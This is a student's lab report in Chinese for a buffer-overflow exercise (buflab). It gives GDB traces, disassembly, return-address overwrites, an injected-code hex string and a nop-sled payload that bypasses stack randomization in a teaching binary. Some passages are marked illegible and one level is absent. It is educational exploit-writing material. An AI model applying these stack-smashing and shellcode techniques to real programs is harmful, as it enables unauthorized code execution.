

## BUFLAB 实验报告

2022013014 黄泽文 未央-软件21

## Level 0: Candle

本题只要求能够函数在 `ret` 时能够直接跳转到 `smoke` 函数，而对栈结构的完整性不做要求。因而我们只需要构造足够长的字符串，并在适当的位置用 `smoke` 函数的地址覆盖 `Rtn Addr` 即可。

观察 `getbuf` 函数与 `Gets` 函数，不难发现 `buf[0]` 与 `Rtn Addr` 的地址相对位置是固定的，通过 GDB 进行简单的实验也可以验证这一点：

```

1      (gdb)run
2      Type string:01234567
3
4      Breakpoint 1, 0x0804929b in getbuf ()
5      (gdb) p /x $esp
6      $1 = 0x55682f44
7      (gdb) p /x *0x55682f44
8      $2 = 0x8048bf3 # Addr in <test>
9      (gdb) p /x *0x55682f18
10     $3 = 0x33323130 # ASCII of "0123"

```

具体地说，`&buf[0] = 0x55682f18`，`&Rtn Addr = 0x55682f44`，在二者之间还有 `Saved %ebx`、`Saved %ebp` 等值，也可以直接覆盖。因而我们构造一个由 `0x55682f44 - 0x55682f18 = 44` 个占位字符和 `smoke` 函数的地址 `0x08048b04`（注意改为大端序）组成的 hex 即可。

[illegible]

## Level 1: Sparkler

虽然不是直接通过 `call` 指令调用函数，但仍可以通过汇编代码具体分析参数所调用的地址。

```

1  08048b2e <fizz>:
2      8048b2e: 55                                push    %ebp
3      8048b2f: 89 e5                            mov     %esp, %ebp
4      8048b31: 83 ec 18                         sub     $0x18, %esp
5      8048b34: 8b 55 08                         mov     0x8(%ebp), %edx # argument
6      8048b37: a1 04 e1 04 08                  mov     0x804e104, %eax # global_cookie
7      8048b3c: 39 c2                            cmp     %eax, %edx

```

由第4行可知，参数应该保存在 `%ebp+0x8` 的位置，而由第2行可知，这里的 `%ebp` 和 `getbuf` 中的 `%esp` 对应的是同一个地址。因而我们直接在 Level 0 的基础上做出改进，将 `Rtn Addr` 改为 `fizz` 的地址 `0x08048b2e`，再在末尾加上4个占位字符和 `cookie` 值（注意改为大端序）即可。

[illegible]



```

1  08049284: <getbuf>:
2      8049284: 55                push    %ebp
3      8049285: 89 e5            mov     %esp,%ebp
4      8049287: 83 ec 38        sub     $0x38,%esp
5      804928a: 8d 45 d8        lea     -0x28(%ebp),%eax
6      804928d: 89 04 24        mov     %eax, (%esp)
7      8049290: e8 d1 fa ff ff  call    8048d66 <Gets> # stack frame of getbuf was
      corrupted
8      8049295: b8 01 00 00 00  mov     $0x1,%eax
9      804929a: c9             leave  # the only code that would use the stack.
10     804929b: c3             ret

```

在第7行以后，只有第9行代码会为了恢复父函数 `test` 的栈结构，而读取被破坏的空间 `Saved %ebp` ——因而这是我们唯一需要复原的值。通过 GDB 得知正常情况下，这个值应该是 `0x55682f70`。可以在我们所编写的汇编代码中将这个值重新赋给 `%ebp`，但更简单的方法是：修改 hex，把 `Saved %ebp` 对应空间上的占位字符直接换成这个值，这样一来自然就保证了 `Saved %ebp` 在覆盖前后的值一致，不需要编写额外的汇编代码。其他被破坏的空间也可以用类似的方法修复，然而这并不必要，因为 `getbuf` 再也不需要使用这些空间了。

```
1    11 /* space, 0x55682f18 */
2    b8 9b 54 3b 29 68 f3 8b 04 08 c3 /* our machine code, begin at 0x55682f19 */
3    11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 70 2f 68 55 /*
   fixed space, where the last 4 value changed to the original value at memory here (Saved %ebp) */
4    19 2f 68 55 /* Rtn Addr, redirect to our machine code */
```

## Level 4: Nitroglycerin

通过汇编代码配合 GDB 调试，可以得到各个特殊值相对于 `&buf[0]` 的地址，为了便于后续 hex 编写，以 `&buf[i]` 的形式整理如下表。

i	buf[i] meaning	set value
0	beginning of buf	0x90 (nop)
...	/	0x90 (nop)
519 - $len_{machineCode}$	/	0x90 (nop)
519 - $len_{machineCode} + 1$	/	beginning of our machine code
519	/	end of our machine code, 0xc3 (ret)
520	Saved %ebp	\$esp + 0x28, set later
524	Rtn Addr, %esp	center address of "nop"s

编写的汇编代码在修改全局变量与返回 `testn` 上与 Level 3 基本一致，为了应对随机化，这些代码应该放在尽可能高的地址，而将低地址全部用 `nop` 填充。但与 Level 3 相比，`Saved %ebp` 的值不再是一个固定值，不能直接写入到 hex 中。解决的方法是增加前两行汇编代码，通过 `%esp` 重新间接算出这个值，由 `testn` 的汇编代码可知  $\%ebp = \%esp + 0x28$ ，而在从 `getbufn` 执行 `leave ret` 后，`%esp` 的值恰好已经恢复了 `testn` 中的状态，因而这个计算是正确的。

```

1  <4code.S>:
2      0:  89 e5                mov     %esp,%ebp
3      2:  83 c5 28             add     $0x28,%ebp
4      5:  b8 9b 54 3b 29       mov     $0x293b549b,%eax
5      a:  68 67 8c 04 08       push   $0x8048c67
6      f:  c3                  ret

```

这段机器码共占用16个字节，代入上表，最后一个 `nop` 的位置应该是  $519 - 16 + 1 = 504$ 。 `Rtn` `Addr` 应该取正中间一个 `nop` 的中心地址，以使得整个栈在  $\pm 240$  随机运动时都能指向一个 `nop`；题目给了一定的冗余，即  $\frac{504}{2} - 240 = 12$ 。由 `&buf[0] = %esp - 524 = 0x55682d38` 可知， `buf[0]` 的地址在  $0x55682d38 \pm 240$  之间随机移动，取 `Rtn Addr` 为  $0x55682d38 + \frac{504}{2} = 0x55682e34 (\pm 12)$  均可。

[illegible]

## 实验感想

本次实验初上手比较困难，除了已有的计原知识外，还需要了解汇编语言/机器码执行中的常见现象、GDB 中常用的调试语句等。解决 Level 0 耗费了我比较长的时间，但在明确解决问题的基本思路后，后面的解题都可以比较高效地完成。

在实际解题中，由于汇编语言与栈中的内存分配都并不是很直观，因而在更多时候，我是直接使用 GDB 调试摸索需要操作的内存空间的。这种做法的效率更高，但容易出现不明白原理却撞运气完成题目的情况。在解决问题后，仍需要通过查阅定义、进行计算分析结果背后的原理，才能比较好地掌握相关知识。